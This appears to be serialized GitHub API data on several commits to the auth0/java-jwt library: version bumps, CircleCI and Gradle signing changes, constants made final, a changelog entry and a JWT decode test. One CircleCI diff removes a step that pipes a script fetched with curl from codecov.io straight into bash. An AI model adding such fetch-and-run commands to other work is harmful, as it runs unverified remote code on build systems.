 u}(j  (9f425898eaef566e9d55c3f84a4bf9653ed4dbbfjU   	README.mdjW   modifiedjO   KjP   KjY   KjZ   Yhttps://github.com/auth0/java-jwt/blob/edfbe2368da454e8986016ec8c3a4aeb14a66866/README.mdj\   Xhttps://github.com/auth0/java-jwt/raw/edfbe2368da454e8986016ec8c3a4aeb14a66866/README.mdj^   khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=edfbe2368da454e8986016ec8c3a4aeb14a66866j`   XZ  @@ -50,14 +50,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.3.0</version>
+  <version>4.4.0</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.3.0'
+implementation 'com.auth0:java-jwt:4.4.0'
 ```
 
 ### Create a JWTueu(c154c46434a543cec797eed993b50f1ca3e5db71}(sha(c154c46434a543cec797eed993b50f1ca3e5db71node_idEC_kwDOAQtL0doAKGMxNTRjNDY0MzRhNTQzY2VjNzk3ZWVkOTkzYjUwZjFjYTNlNWRiNzEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-19T15:47:07Zu	committer}(jt   GitHubjv   noreply@github.comjx   2022-10-19T15:47:07Zumessage^Add Ship CLI and orb to v3 (#618)

* Add Ship CLI and orb to v3

* update oss plugin versiontree}(jl   (98c9f4d9deca90901b9186347b3f4abdff915ff2url^https://api.github.com/repos/auth0/java-jwt/git/trees/98c9f4d9deca90901b9186347b3f4abdff915ff2uj   `https://api.github.com/repos/auth0/java-jwt/git/commits/c154c46434a543cec797eed993b50f1ca3e5db71
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjUBv7CRBK7hj4Ov3rIwAAvesIAByombrydQygcpWqYwDLXmh+
77LNtiNBd1rZokBcLUQ7Hwal1UBy/RITTgG5R5oHDXYmGQQY+ixvo6981YAd9I4k
ixWSgInC2EPK8ZvOYqQl3jm76MgUHatwD5/lFbX5qcEnpXmFBc1PZTcId8DR547C
yr8JUgDIgWUmO3oRgPG5LWoiYqGNuaK6Itak7EG6DbGBXpVw+2kb6gvAK4uPmz5+
9hmCzNbUvYQ8fpOFbIoLLgQXSCqLsePJMRKttmV7xNks0EpuHBmCHDGhWvFL5JK+
InDYO5ZNH6HJHrWkJOZtxY3JjkVhUkjO6LM6FyAsdTF8HqLLwZLSCqi7XENQPbM=
=UJ7m
-----END PGP SIGNATURE-----
payloadX2  tree 98c9f4d9deca90901b9186347b3f4abdff915ff2
parent 1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05f
author Jim Anderson <jim.anderson@auth0.com> 1666194427 -0500
committer GitHub <noreply@github.com> 1666194427 -0500

Add Ship CLI and orb to v3 (#618)

* Add Ship CLI and orb to v3

* update oss plugin versionuuj   \https://api.github.com/repos/auth0/java-jwt/commits/c154c46434a543cec797eed993b50f1ca3e5db71html_urlQhttps://github.com/auth0/java-jwt/commit/c154c46434a543cec797eed993b50f1ca3e5db71comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c154c46434a543cec797eed993b50f1ca3e5db71/commentsjr   }(login
jimmyjamesidJ7 jn   MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j   'https://api.github.com/users/jimmyjamesj   https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujz   }(j   web-flowj   J/jn   MDQ6VXNlcjE5ODY0NDQ3j   4https://avatars.githubusercontent.com/u/19864447?v=4j   h3j   %https://api.github.com/users/web-flowj   https://github.com/web-flowj   /https://api.github.com/users/web-flow/followersj   <https://api.github.com/users/web-flow/following{/other_user}j   5https://api.github.com/users/web-flow/gists{/gist_id}j   <https://api.github.com/users/web-flow/starred{/owner}{/repo}j   3https://api.github.com/users/web-flow/subscriptionsj   *https://api.github.com/users/web-flow/orgsj   +https://api.github.com/users/web-flow/reposj   6https://api.github.com/users/web-flow/events{/privacy}j   5https://api.github.com/users/web-flow/received_eventsj   Userj   uparents]}(jl   (1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj   \https://api.github.com/repos/auth0/java-jwt/commits/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fj   Qhttps://github.com/auth0/java-jwt/commit/1f0d65fa2c3798cd2d81b85b46e31aad2ad0b05fuastats}(totalK1	additionsK,	deletionsKufiles](}(jl   (77628fea3efecc5d3f8225c2b708303827faa6ccfilename.circleci/config.ymlstatusmodifiedj   Kj   KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/c154c46434a543cec797eed993b50f1ca3e5db71/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/c154c46434a543cec797eed993b50f1ca3e5db71/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=c154c46434a543cec797eed993b50f1ca3e5db71patchXf  @@ -1,4 +1,7 @@
 version: 2.1
+orbs:
+  ship: auth0/ship@0.7.2
+  codecov: codecov/codecov@3
 
 commands:
   checkout-and-build:
@@ -19,10 +22,7 @@ commands:
   run-tests:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
-      - run:
-          name: Upload Coverage
-          when: on_success
-          command: bash <(curl -s https://codecov.io/bash) -Z -C $CIRCLE_SHA1
+      - codecov/upload
   run-api-diff:
     steps:
       # run apiDiff task
@@ -58,6 +58,17 @@ workflows:
   build-and-test:
     jobs:
       - build
+      - ship/java-publish:
+          prefix-tag: false
+          context:
+            - publish-gh
+            - publish-sonatype
+          filters:
+            branches:
+              only:
+                - v3
+          requires:
+            - build
   api-diff:
     jobs:
       - api-diffu}(jl   (2bd0fdb33222abbec9292f30b3179b632d2fa338j   .shiprcj   addedj   Kj   K j   Kj   Whttps://github.com/auth0/java-jwt/blob/c154c46434a543cec797eed993b50f1ca3e5db71/.shiprcj   Vhttps://github.com/auth0/java-jwt/raw/c154c46434a543cec797eed993b50f1ca3e5db71/.shiprcj   ihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=c154c46434a543cec797eed993b50f1ca3e5db71j   @@ -0,0 +1,7 @@
+{
+  "files": {
+    "README.md": [],
+    "lib/build.gradle": ["version[[:blank:]]*=[[:blank:]]*{MAJOR}.{MINOR}.{PATCH}"]
+  },
+  "prefixVersion": false
+}
\ No newline at end of fileu}(jl   (3e98e33c07d5286f5fc3cc54a307ef640263f4a1j   lib/build.gradlej   modifiedj   Kj   K j   Kj   bhttps://github.com/auth0/java-jwt/blob/c154c46434a543cec797eed993b50f1ca3e5db71/lib%2Fbuild.gradlej   ahttps://github.com/auth0/java-jwt/raw/c154c46434a543cec797eed993b50f1ca3e5db71/lib%2Fbuild.gradlej   thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=c154c46434a543cec797eed993b50f1ca3e5db71j   X  @@ -1,9 +1,21 @@
+
+buildscript {
+    version = "3.19.2"
+}
+
 plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
 }
 
+def signingKey = findProperty('signingKey')
+def signingKeyPwd = findProperty('signingPassword')
+
+signing {
+    useInMemoryPgpKeys(signingKey, signingKeyPwd)
+}
+
 logger.lifecycle("Using version ${version} for ${group}.${name}")
 
 oss {
@@ -12,6 +24,7 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "3.18.2"
+    skipAssertSigningConfiguration true
 
     developers {
         auth0 {
@@ -93,3 +106,11 @@ jar {
 
 compileModuleInfoJava.dependsOn compileJava
 classes.dependsOn compileModuleInfoJava
+
+// Creates a version.txt file containing the current version of the SDK.
+// This file is picked up and parsed by our Ship Orb to determine the version.
+task exportVersion()  {
+    doLast {
+        new File(rootDir, "version.txt").text = "$version"
+    }
+}u}(jl   (a4cda2d7db0cc2eb8d4d8d3bf9b39f8891093cc1j   settings.gradlej   modifiedj   Kj   Kj   Kj   _https://github.com/auth0/java-jwt/blob/c154c46434a543cec797eed993b50f1ca3e5db71/settings.gradlej   ^https://github.com/auth0/java-jwt/raw/c154c46434a543cec797eed993b50f1ca3e5db71/settings.gradlej   qhttps://api.github.com/repos/auth0/java-jwt/contents/settings.gradle?ref=c154c46434a543cec797eed993b50f1ca3e5db71j   @@ -3,7 +3,7 @@ pluginManagement {
         gradlePluginPortal()
     }
     plugins {
-        id 'com.auth0.gradle.oss-library.java' version '0.16.0'
+        id 'com.auth0.gradle.oss-library.java' version '0.17.2'
     }
 }
 ueu(fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6}(sha(fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6node_idEC_kwDOAQtL0doAKGZiZThlZmM1YzhkZTM0ZjYyODJmMWU4YjBhZjRlYTlhNDg5NWY3YjYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-08-31T22:32:49Zu	committer}(j!  GitHubj!  noreply@github.comj!  2022-08-31T22:32:49ZumessageZMerge pull request #604 from auth0/making-constants-final

Make JWT constants final valuestree}(j   (4e5dbce52678c50bf05d0264b74c5a286d657648url^https://api.github.com/repos/auth0/java-jwt/git/trees/4e5dbce52678c50bf05d0264b74c5a286d657648uj!  `https://api.github.com/repos/auth0/java-jwt/git/commits/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjD+GRCRBK7hj4Ov3rIwAAvZUIAKt2jLytll6+qHCKhVNarXEL
sk5zOK7nilpUSFpU6YoX1c3BV0dRTEFAZsWrpdu3FwrLu5VpF9EoLaeeghlWWxbU
6jhoTFYT60AV7TLx4JHoJU8FL4YEcwRJGnd6gQ7tzlNRKf7T2ayzXgR15UoPqPXE
AS0QSDXf/luEj73OdZbcbain+R+e7FhAI97aqPUPX0DPrgnjHJWd3cMu7DTN62+E
bNwAtU5eieAZiSQNJVkNvYhwvoRCGDRGs1H/MOPhFTKKqdICWDXCBWoaBRp6pdfo
Uz6KMzKltDRtTlrj2yaFxqdFd6Wz+Yugm9kq2l3n2eHEq+nHuH+chkfRphOA3ug=
=vTH6
-----END PGP SIGNATURE-----
payloadX\  tree 4e5dbce52678c50bf05d0264b74c5a286d657648
parent 46d022a49dc35b8dd4b75b9ac48adc1844e110ee
parent 89fbc61318641b88e3b8b400ff4e8a67d04632fa
author Poovamraj T T <poovamraj@gmail.com> 1661985169 +0200
committer GitHub <noreply@github.com> 1661985169 +0200

Merge pull request #604 from auth0/making-constants-final

Make JWT constants final valuesuuj!  \https://api.github.com/repos/auth0/java-jwt/commits/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6html_urlQhttps://github.com/auth0/java-jwt/commit/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6/commentsj!  }(login	poovamrajidJ j   MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j!  &https://api.github.com/users/poovamrajj!!  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj	!  }(j&!  web-flowj(!  J/j   MDQ6VXNlcjE5ODY0NDQ3j*!  4https://avatars.githubusercontent.com/u/19864447?v=4j,!  h3j!  %https://api.github.com/users/web-flowj!!  https://github.com/web-flowj/!  /https://api.github.com/users/web-flow/followersj1!  <https://api.github.com/users/web-flow/following{/other_user}j3!  5https://api.github.com/users/web-flow/gists{/gist_id}j5!  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j7!  3https://api.github.com/users/web-flow/subscriptionsj9!  *https://api.github.com/users/web-flow/orgsj;!  +https://api.github.com/users/web-flow/reposj=!  6https://api.github.com/users/web-flow/events{/privacy}j?!  5https://api.github.com/users/web-flow/received_eventsjA!  UserjC!  uparents](}(j   (46d022a49dc35b8dd4b75b9ac48adc1844e110eej!  \https://api.github.com/repos/auth0/java-jwt/commits/46d022a49dc35b8dd4b75b9ac48adc1844e110eej!!  Qhttps://github.com/auth0/java-jwt/commit/46d022a49dc35b8dd4b75b9ac48adc1844e110eeu}(j   (89fbc61318641b88e3b8b400ff4e8a67d04632faj!  \https://api.github.com/repos/auth0/java-jwt/commits/89fbc61318641b88e3b8b400ff4e8a67d04632faj!!  Qhttps://github.com/auth0/java-jwt/commit/89fbc61318641b88e3b8b400ff4e8a67d04632fauestats}(totalK@	additionsK 	deletionsK ufiles](}(j   (73f58ddbf2869d87213816dd820f282bf8b1b38afilename.circleci/config.ymlstatusmodifiedja!  Kjb!  KchangesK*blob_urlfhttps://github.com/auth0/java-jwt/blob/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6patchXB  @@ -22,14 +22,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-  run-api-diff:
-    steps:
-      # run apiDiff task
-      - run: ./gradlew apiDiff
-      - store_artifacts:
-          path: lib/build/reports/apiDiff/apiDiff.txt
-      - store_artifacts:
-          path: lib/build/reports/apiDiff/apiDiff.html
+  # run-api-diff:
+  #   steps:
+  #     # run apiDiff task
+  #     - run: ./gradlew apiDiff
+  #     - store_artifacts:
+  #         path: lib/build/reports/apiDiff/apiDiff.txt
+  #     - store_artifacts:
+  #         path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -41,21 +41,21 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  api-diff:
-    docker:
-      - image: openjdk:11.0-jdk
-    steps:
-      - checkout-and-build
-      - run-api-diff
-    environment:
-      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-      TERM: dumb
+  # api-diff:
+  #   docker:
+  #     - image: openjdk:11.0-jdk
+  #   steps:
+  #     - checkout-and-build
+  #     - run-api-diff
+  #   environment:
+  #     GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+  #     _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+  #     TERM: dumb
 
 workflows:
   build-and-test:
     jobs:
       - build
-  api-diff:
-    jobs:
-      - api-diff
+  # api-diff:
+  #   jobs:
+  #     - api-diffu}(j   (1107f313a307435263d4cbd9c476d14463d5decajg!  1lib/src/main/java/com/auth0/jwt/HeaderParams.javaji!  modifiedja!  Kjb!  Kjk!  Kjl!  https://github.com/auth0/java-jwt/blob/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javajn!  https://github.com/auth0/java-jwt/raw/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javajp!  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6jr!  X  @@ -10,20 +10,20 @@ private HeaderParams() {}
     /**
      * The algorithm used to sign a JWT.
      */
-    public static String ALGORITHM = "alg";
+    public static final String ALGORITHM = "alg";
 
     /**
      * The content type of the JWT.
      */
-    public static String CONTENT_TYPE = "cty";
+    public static final String CONTENT_TYPE = "cty";
 
     /**
      * The media type of the JWT.
      */
-    public static String TYPE = "typ";
+    public static final String TYPE = "typ";
 
     /**
      * The key ID of a JWT used to specify the key for signature validation.
      */
-    public static String KEY_ID = "kid";
+    public static final String KEY_ID = "kid";
 }u}(j   (c55097169a2b3b3a28b61467cafc815691308e38jg!  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javaji!  modifiedja!  Kjb!  Kjk!  Kjl!  https://github.com/auth0/java-jwt/blob/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajn!  https://github.com/auth0/java-jwt/raw/fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajp!  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=fbe8efc5c8de34f6282f1e8b0af4ea9a4895f7b6jr!  X  @@ -13,43 +13,43 @@ private RegisteredClaims() {
      * The "iss" (issuer) claim identifies the principal that issued the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1">Section 4.1.1</a>
      */
-    public static String ISSUER = "iss";
+    public static final String ISSUER = "iss";
 
     /**
      * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2">Section 4.1.2</a>
      */
-    public static String SUBJECT = "sub";
+    public static final String SUBJECT = "sub";
 
     /**
      * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3">Section 4.1.3</a>
      */
-    public static String AUDIENCE = "aud";
+    public static final String AUDIENCE = "aud";
 
     /**
      * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
      * accepted for processing.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.4">Section 4.1.4</a>
      */
-    public static String EXPIRES_AT = "exp";
+    public static final String EXPIRES_AT = "exp";
 
     /**
      * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5">Section 4.1.5</a>
      */
-    public static String NOT_BEFORE = "nbf";
+    public static final String NOT_BEFORE = "nbf";
 
     /**
      * The "iat" (issued at) claim identifies the time at which the JWT was issued.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.6">Section 4.1.6</a>
      */
-    public static String ISSUED_AT = "iat";
+    public static final String ISSUED_AT = "iat";
 
     /**
      * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.7">Section 4.1.7</a>
      */
-    public static String JWT_ID = "jti";
+    public static final String JWT_ID = "jti";
 
 }ueu(ec4020c0fa4e3d4331e19def6980139d07d50274}(sha(ec4020c0fa4e3d4331e19def6980139d07d50274node_idEC_kwDOAQtL0doAKGVjNDAyMGMwZmE0ZTNkNDMzMWUxOWRlZjY5ODAxMzlkMDdkNTAyNzQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-25T02:00:42Zu	committer}(j!  Jim Andersonj!  jimranderson@gmail.comj!  2022-10-25T02:00:42ZumessageRelease 3.19.3tree}(j!  (48dd618b0a7a7e6c866819fe4f1ab293237be8e3url^https://api.github.com/repos/auth0/java-jwt/git/trees/48dd618b0a7a7e6c866819fe4f1ab293237be8e3uj!  `https://api.github.com/repos/auth0/java-jwt/git/commits/ec4020c0fa4e3d4331e19def6980139d07d50274
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj!  \https://api.github.com/repos/auth0/java-jwt/commits/ec4020c0fa4e3d4331e19def6980139d07d50274html_urlQhttps://github.com/auth0/java-jwt/commit/ec4020c0fa4e3d4331e19def6980139d07d50274comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ec4020c0fa4e3d4331e19def6980139d07d50274/commentsj!  }(login
jimmyjamesidJ7 j!  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j!  'https://api.github.com/users/jimmyjamesj!  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj!  }(j!  
jimmyjamesj!  J7 j!  MDQ6VXNlcjI3NjIyNQ==j!  2https://avatars.githubusercontent.com/u/276225?v=4j!  h3j!  'https://api.github.com/users/jimmyjamesj!  https://github.com/jimmyjamesj!  1https://api.github.com/users/jimmyjames/followersj!  >https://api.github.com/users/jimmyjames/following{/other_user}j!  7https://api.github.com/users/jimmyjames/gists{/gist_id}j!  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j!  5https://api.github.com/users/jimmyjames/subscriptionsj!  ,https://api.github.com/users/jimmyjames/orgsj!  -https://api.github.com/users/jimmyjames/reposj!  8https://api.github.com/users/jimmyjames/events{/privacy}j!  7https://api.github.com/users/jimmyjames/received_eventsj!  Userj!  uparents]}(j!  (5287edf769ebbf67e092100a018378d563111c59j!  \https://api.github.com/repos/auth0/java-jwt/commits/5287edf769ebbf67e092100a018378d563111c59j!  Qhttps://github.com/auth0/java-jwt/commit/5287edf769ebbf67e092100a018378d563111c59uastats}(totalK
	additionsK	deletionsKufiles](}(j!  (33b0d4077ed5c77398880a3a4ab2a1087cee6286filenameCHANGELOG.mdstatusmodifiedj!  Kj!  K changesKblob_url\https://github.com/auth0/java-jwt/blob/ec4020c0fa4e3d4331e19def6980139d07d50274/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/ec4020c0fa4e3d4331e19def6980139d07d50274/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=ec4020c0fa4e3d4331e19def6980139d07d50274patchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.3](https://github.com/auth0/java-jwt/tree/3.19.3) (2022-10-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...3.19.3)
+
+**Security**
+- Update com.fasterxml.jackson.core:jackson-databind to 2.13.4.2 [\#631](https://github.com/auth0/java-jwt/pull/631) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [3.19.2](https://github.com/auth0/java-jwt/tree/3.19.2) (2022-05-05)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.1...3.19.2)
 u}(j!  (ac400231674e5c9d54ddbe192026ce8f6c20ddd0j!  	README.mdj!  modifiedj!  Kj!  Kj!  Kj!  Yhttps://github.com/auth0/java-jwt/blob/ec4020c0fa4e3d4331e19def6980139d07d50274/README.mdj!  Xhttps://github.com/auth0/java-jwt/raw/ec4020c0fa4e3d4331e19def6980139d07d50274/README.mdj!  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=ec4020c0fa4e3d4331e19def6980139d07d50274j!  X  @@ -25,14 +25,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.2</version>
+    <version>3.19.3</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.2'
+implementation 'com.auth0:java-jwt:3.19.3'
 ```
 
 ## Available Algorithmsueu(e5274494145afe9b77648edc06ca55be97ccfbe6}(sha(e5274494145afe9b77648edc06ca55be97ccfbe6node_idEC_kwDOAQtL0doAKGU1Mjc0NDk0MTQ1YWZlOWI3NzY0OGVkYzA2Y2E1NWJlOTdjY2ZiZTYcommit}(author}(nameli.heemailli.he@thoughtworks.comdate2022-10-26T09:39:56Zu	committer}(j"  li.hej
"  li.he@thoughtworks.comj"  2022-10-26T09:39:56Zumessagefeat: add base64 decode testtree}(j"  (428f6f6a943664194103703b31cec313b8c871bcurl^https://api.github.com/repos/auth0/java-jwt/git/trees/428f6f6a943664194103703b31cec313b8c871bcuj"  `https://api.github.com/repos/auth0/java-jwt/git/commits/e5274494145afe9b77648edc06ca55be97ccfbe6
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj"  \https://api.github.com/repos/auth0/java-jwt/commits/e5274494145afe9b77648edc06ca55be97ccfbe6html_urlQhttps://github.com/auth0/java-jwt/commit/e5274494145afe9b77648edc06ca55be97ccfbe6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e5274494145afe9b77648edc06ca55be97ccfbe6/commentsj	"  }(loginheli-twidJPj"  U_kgDOBcxQpA
avatar_url4https://avatars.githubusercontent.com/u/97276068?v=4gravatar_idh3j"  $https://api.github.com/users/heli-twj'"  https://github.com/heli-tw
followers_url.https://api.github.com/users/heli-tw/followers
following_url;https://api.github.com/users/heli-tw/following{/other_user}	gists_url4https://api.github.com/users/heli-tw/gists{/gist_id}starred_url;https://api.github.com/users/heli-tw/starred{/owner}{/repo}subscriptions_url2https://api.github.com/users/heli-tw/subscriptionsorganizations_url)https://api.github.com/users/heli-tw/orgs	repos_url*https://api.github.com/users/heli-tw/repos
events_url5https://api.github.com/users/heli-tw/events{/privacy}received_events_url4https://api.github.com/users/heli-tw/received_eventstypeUser
site_adminuj"  }(j,"  heli-twj."  JPj"  U_kgDOBcxQpAj0"  4https://avatars.githubusercontent.com/u/97276068?v=4j2"  h3j"  $https://api.github.com/users/heli-twj'"  https://github.com/heli-twj5"  .https://api.github.com/users/heli-tw/followersj7"  ;https://api.github.com/users/heli-tw/following{/other_user}j9"  4https://api.github.com/users/heli-tw/gists{/gist_id}j;"  ;https://api.github.com/users/heli-tw/starred{/owner}{/repo}j="  2https://api.github.com/users/heli-tw/subscriptionsj?"  )https://api.github.com/users/heli-tw/orgsjA"  *https://api.github.com/users/heli-tw/reposjC"  5https://api.github.com/users/heli-tw/events{/privacy}jE"  4https://api.github.com/users/heli-tw/received_eventsjG"  UserjI"  uparents]}(j"  (232f26cc19d200b5f683e783dbcf35062713239dj"  \https://api.github.com/repos/auth0/java-jwt/commits/232f26cc19d200b5f683e783dbcf35062713239dj'"  Qhttps://github.com/auth0/java-jwt/commit/232f26cc19d200b5f683e783dbcf35062713239duastats}(totalK	additionsK	deletionsK ufiles]}(j"  (014cd6416c4368341e96aa8d059b269d42e81926filename3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javastatusmodifiedjc"  Kjd"  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/e5274494145afe9b77648edc06ca55be97ccfbe6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e5274494145afe9b77648edc06ca55be97ccfbe6/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=e5274494145afe9b77648edc06ca55be97ccfbe6patchX  @@ -30,6 +30,12 @@ public void getSubject() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ");
         assertThat(jwt.getSubject(), is(notNullValue()));
         assertThat(jwt.getSubject(), is("1234567890"));
+
+        jwt = JWT.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" +
+            ".eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9" +
+            ".TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ", false);
+        assertThat(jwt.getSubject(), is(notNullValue()));
